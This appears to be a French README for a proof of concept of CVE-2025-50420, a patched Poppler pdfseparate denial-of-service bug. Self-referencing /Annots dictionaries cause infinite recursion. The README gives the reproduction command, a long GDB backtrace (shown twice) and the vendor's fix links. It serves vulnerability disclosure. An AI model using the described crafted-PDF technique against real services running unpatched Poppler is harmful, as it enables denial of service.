landw-hub/cve-2025-50420Exploit de preuve de concept pour CVE-2025-50420 démontrant une récursion infinie dans pdfseparate de Poppler via des dictionnaires /Annots falsifiés, provoquant un déni de service. Inclut la configuration de fuzzing AFL et l'analyse de crash GDB.
Poppler avant la version 25.07.0 contient une vulnérabilité dans la logique de traitement PDFDoc de son utilitaire pdfseparate : des dictionnaires "/Annots" modifiés qui se référencent eux-mêmes ou entre eux mènent à une récursion infinie dans "PDFDoc::markAnnotations --> PDFDoc::markPageObjects --> PDFDoc::markObject --> PDFDoc::markDictionary", car la détection de boucle utilise des adresses de pointeur de dictionnaire qui diffèrent à chaque fetch(). Un attaquant distant peut provoquer un déni de service (gel ou crash de l'application) en traitant un PDF malveillant.
Ici, je crée un PDF malveillant (poppler-pdfseparate-poc) où "/Annots" se résout en un dictionnaire auto-référencé ou mutuellement référencé, ce qui fait que la récursion markAnnotations --> markPageObjects --> markObject --> markDictionary de Poppler ne détecte jamais la boucle et épuise ainsi la pile d'appels (récursion infinie). L'exploitation nécessite seulement d'ouvrir ou de traiter le PDF (par exemple, via pdfseparate).
Le processus de reproduction est le suivant：```bash afl_env(base) user@ubuntu:~/zgd/AFLProject/pdf_parsers/poppler-25.04.0/build/utils$ ./pdfseparate ./../../../../pdf_fuzz/p oppler-master/pdfseparate/analyze_crashes/only_custom/all_crashes/poppler-pdfseparate-poc /dev/null Segmentation fault (core dumped)
afl_env(base) user@ubuntu:/zgd/AFLProject/pdf_parsers/poppler-25.04.0/build/utils$ gdb ./pdfseparate core.2332378
GNU gdb (Ubuntu 12.1-0ubuntu122.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
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Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
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For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./pdfseparate... [New LWP 2332378] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". --Type for more, q to quit, c to continue without paging-- Core was generated by `./pdfseparate ./../../../../pdf_fuzz/poppler-master/pdfseparate/analyze_crashes'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x00007a27410a3dee in _int_malloc (av=av@entry=0x7a274121ac80 <main_arena>, bytes=bytes@entry=40) at ./malloc/malloc.c:3903 3903 ./malloc/malloc.c: No such file or directory. (gdb) bt #0 0x00007a27410a3dee in _int_malloc (av=av@entry=0x7a274121ac80 <main_arena>, bytes=bytes@entry=40) at ./malloc/malloc.c:3903 #1 0x00007a27410a5262 in __GI___libc_malloc (bytes=40) at ./malloc/malloc.c:3321 #2 0x00007a27414ae98c in operator new(unsigned long) () from /lib/x86_64-linux-gnu/libstdc++.so.6 #3 0x00007a274192a080 in __gnu_cxx::new_allocator<std::_Rb_tree_node >::allocate (this=0x5c29c1b2a498, __n=1) at /usr/include/c++/11/ext/new_allocator.h:127 #4 0x00007a2741929c8f in std::allocator<std::_Rb_tree_node >::allocate (__n=1, this=0x5c29c1b2a498) at /usr/include/c++/11/bits/allocator.h:185 #5 std::allocator_traits<std::allocator<std::_Rb_tree_node > >::allocate (__a=..., __n=1) at /usr/include/c++/11/bits/alloc_traits.h:464 #6 0x00007a274192974f in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_M_get_node (this=0x5c29c1b2a498) at /usr/include/c++/11/bits/stl_tree.h:561 #7 0x00007a2741973466 in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_M_create_node<int const&> (this=0x5c29c1b2a498) at /usr/include/c++/11/bits/stl_tree.h:611 #8 0x00007a2741970c97 in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_Alloc_node::operator()<int const&> (this=0x7ffeba55f200, __arg=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_tree.h:529 #9 0x00007a274196ba22 in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::M_insert<int const&, std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_Alloc_node> ( this=0x5c29c1b2a498, __x=0x0, __p=0x5c29c1b2a4a0, __v=@0x7ffeba55f2a0: 4, __node_gen=...) at /usr/include/c++/11/bits/stl_tree.h:1784 #10 0x00007a2741963f5e in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_M_insert_unique<int const&> (this=0x5c29c1b2a498, __v=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_tree.h:2129 #11 0x00007a274195c4f6 in std::set<int, std::less, std::allocator >::insert (this=0x5c29c1b2a498, --Type for more, q to quit, c to continue without paging-- __x=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_set.h:512 #12 0x00007a2741957c6d in RefRecursionChecker::insert (this=0x5c29c1b2a498, ref=...) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Object.h:133 #13 0x00007a2741b0e09c in XRef::fetch (this=0x5c29c1b2a370, num=4, gen=0, recursion=0, endPos=0x0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/XRef.cc:1202 #14 0x00007a2741b0dfb4 in XRef::fetch (this=0x5c29c1b2a370, ref=..., recursion=0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/XRef.cc:1190 #15 0x00007a2741a94e1d in Object::fetch (this=0x5c29c208a1c0, xref=0x5c29c1b2a370, recursion=0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Object.cc:110 #16 0x00007a27419785d3 in Array::get (this=0x5c29c208a160, i=0, recursion=0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Array.cc:92 #17 0x00007a2741ab0514 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55f6b0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1856 #18 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c208a100, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716 #19 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55f800, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744 #20 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c208a0a0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840 --Type for more, q to quit, c to continue without paging-- #21 0x00007a2741ab0827 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55f9a0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1889 #22 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c2089f10, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716 #23 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55faf0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744 #24 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c2089eb0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840 #25 0x00007a2741ab0827 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55fc90, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1889 #26 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c2089d20, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716 #27 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55fde0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744 #28 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c2089cc0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) --Type for more, q to quit, c to continue without paging-- at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840 #29 0x00007a2741ab0827 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55ff80, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1889 #30 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c2089b30, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716
Le fournisseur (freedesktop, mainteneur de Poppler) a reconnu le problème et corrigé le bogue. Le correctif a été validé dans leur dépôt officiel.
Voici le lien public vers le patch / commit fourni par le fournisseur :
https://gitlab.freedesktop.org/poppler/poppler/-/issues/1613<br>
https://gitlab.freedesktop.org/poppler/poppler/-/merge_requests/1849<br>
https://gitlab.freedesktop.org/poppler/poppler/-/commit/08d7894e4dd0e313c179e30f06ad8f546619b1b3
Cela confirme que la vulnérabilité a été reconnue et corrigée.
Les versions de Poppler antérieures à la 25.07.0 contiennent une vulnérabilité dans la logique de traitement PDFDoc de l'outil pdfseparate : un dictionnaire "/Annots" spécialement conçu (pointant vers lui-même ou avec des références mutuelles) provoque une récursion infinie dans "PDFDoc::markAnnotations --> PDFDoc::markPageObjects --> PDFDoc::markObject --> PDFDoc::markDictionary", car l'adresse du pointeur de dictionnaire utilisée pour la détection de boucle change à chaque appel à fetch(). Un attaquant distant peut provoquer un déni de service (application bloquée ou crash) en traitant un fichier PDF malveillant.
Ici, j'ai construit un fichier PDF malveillant (poppler-pdfseparate-poc) dans lequel "/Annots" est résolu en un dictionnaire auto-référencé ou à références mutuelles, empêchant la récursion markAnnotations --> markPageObjects --> markObject --> markDictionary de Poppler de détecter la boucle, épuisant ainsi la pile d'appels (récursion infinie). Pour exploiter cette vulnérabilité, il suffit d'ouvrir ou de traiter un fichier PDF (par exemple, en utilisant la fonction pdfseparate).
Les étapes de reproduction sont les suivantes :```bash
afl_env(base) user@ubuntu:~/zgd/AFLProject/pdf_parsers/poppler-25.04.0/build/utils$ ./pdfseparate ./../../../../pdf_fuzz/p
oppler-master/pdfseparate/analyze_crashes/only_custom/all_crashes/poppler-pdfseparate-poc /dev/null
Segmentation fault (core dumped)
afl_env(base) user@ubuntu:~/zgd/AFLProject/pdf_parsers/poppler-25.04.0/build/utils$ gdb ./pdfseparate core.2332378
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./pdfseparate...
[New LWP 2332378]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--Type <RET> for more, q to quit, c to continue without paging--
Core was generated by `./pdfseparate ./../../../../pdf_fuzz/poppler-master/pdfseparate/analyze_crashes'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007a27410a3dee in _int_malloc (av=av@entry=0x7a274121ac80 <main_arena>, bytes=bytes@entry=40)
at ./malloc/malloc.c:3903
3903 ./malloc/malloc.c: No such file or directory.
(gdb) bt
#0 0x00007a27410a3dee in _int_malloc (av=av@entry=0x7a274121ac80 <main_arena>, bytes=bytes@entry=40)
at ./malloc/malloc.c:3903
#1 0x00007a27410a5262 in __GI___libc_malloc (bytes=40) at ./malloc/malloc.c:3321
#2 0x00007a27414ae98c in operator new(unsigned long) () from /lib/x86_64-linux-gnu/libstdc++.so.6
#3 0x00007a274192a080 in __gnu_cxx::new_allocator<std::_Rb_tree_node<int> >::allocate (this=0x5c29c1b2a498, __n=1)
at /usr/include/c++/11/ext/new_allocator.h:127
#4 0x00007a2741929c8f in std::allocator<std::_Rb_tree_node<int> >::allocate (__n=1, this=0x5c29c1b2a498)
at /usr/include/c++/11/bits/allocator.h:185
#5 std::allocator_traits<std::allocator<std::_Rb_tree_node<int> > >::allocate (__a=..., __n=1)
at /usr/include/c++/11/bits/alloc_traits.h:464
#6 0x00007a274192974f in std::_Rb_tree<int, int, std::_Identity<int>, std::less<int>, std::allocator<int> >::_M_get_node
(this=0x5c29c1b2a498) at /usr/include/c++/11/bits/stl_tree.h:561
#7 0x00007a2741973466 in std::_Rb_tree<int, int, std::_Identity<int>, std::less<int>, std::allocator<int> >::_M_create_node<int const&> (this=0x5c29c1b2a498) at /usr/include/c++/11/bits/stl_tree.h:611
#8 0x00007a2741970c97 in std::_Rb_tree<int, int, std::_Identity<int>, std::less<int>, std::allocator<int> >::_Alloc_node::operator()<int const&> (this=0x7ffeba55f200, __arg=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_tree.h:529
#9 0x00007a274196ba22 in std::_Rb_tree<int, int, std::_Identity<int>, std::less<int>, std::allocator<int> >::_M_insert_<int const&, std::_Rb_tree<int, int, std::_Identity<int>, std::less<int>, std::allocator<int> >::_Alloc_node> (
this=0x5c29c1b2a498, __x=0x0, __p=0x5c29c1b2a4a0, __v=@0x7ffeba55f2a0: 4, __node_gen=...)
at /usr/include/c++/11/bits/stl_tree.h:1784
#10 0x00007a2741963f5e in std::_Rb_tree<int, int, std::_Identity<int>, std::less<int>, std::allocator<int> >::_M_insert_unique<int const&> (this=0x5c29c1b2a498, __v=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_tree.h:2129
#11 0x00007a274195c4f6 in std::set<int, std::less<int>, std::allocator<int> >::insert (this=0x5c29c1b2a498,
--Type <RET> for more, q to quit, c to continue without paging--
__x=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_set.h:512
#12 0x00007a2741957c6d in RefRecursionChecker::insert (this=0x5c29c1b2a498, ref=...)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Object.h:133
#13 0x00007a2741b0e09c in XRef::fetch (this=0x5c29c1b2a370, num=4, gen=0, recursion=0, endPos=0x0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/XRef.cc:1202
#14 0x00007a2741b0dfb4 in XRef::fetch (this=0x5c29c1b2a370, ref=..., recursion=0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/XRef.cc:1190
#15 0x00007a2741a94e1d in Object::fetch (this=0x5c29c208a1c0, xref=0x5c29c1b2a370, recursion=0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Object.cc:110
#16 0x00007a27419785d3 in Array::get (this=0x5c29c208a160, i=0, recursion=0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Array.cc:92
#17 0x00007a2741ab0514 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55f6b0, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1856
#18 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c208a100, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716
#19 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55f800, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744
#20 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c208a0a0, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840
--Type <RET> for more, q to quit, c to continue without paging--
#21 0x00007a2741ab0827 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55f9a0, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1889
#22 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c2089f10, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716
#23 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55faf0, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744
#24 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c2089eb0, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840
#25 0x00007a2741ab0827 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55fc90, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1889
#26 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c2089d20, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716
#27 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55fde0, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744
#28 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c2089cc0, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
--Type <RET> for more, q to quit, c to continue without paging--
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840
#29 0x00007a2741ab0827 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55ff80, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1889
#30 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c2089b30, xRef=0x5c29c1b2b080,
countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0)
at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716
Le fournisseur (FreeDesktop, le mainteneur de Poppler) a confirmé le problème et a corrigé la vulnérabilité. Le correctif a été soumis à son dépôt officiel.
Voici les liens publics vers le correctif/commit fournis par le fournisseur :
https://gitlab.freedesktop.org/poppler/poppler/-/issues/1613
https://gitlab.freedesktop.org/poppler/poppler/-/merge_requests/1849
https://gitlab.freedesktop.org/poppler/poppler/-/commit/08d7894e4dd0e313c179e30f06ad8f546619b1b3
Cela confirme que la vulnérabilité a été identifiée et corrigée.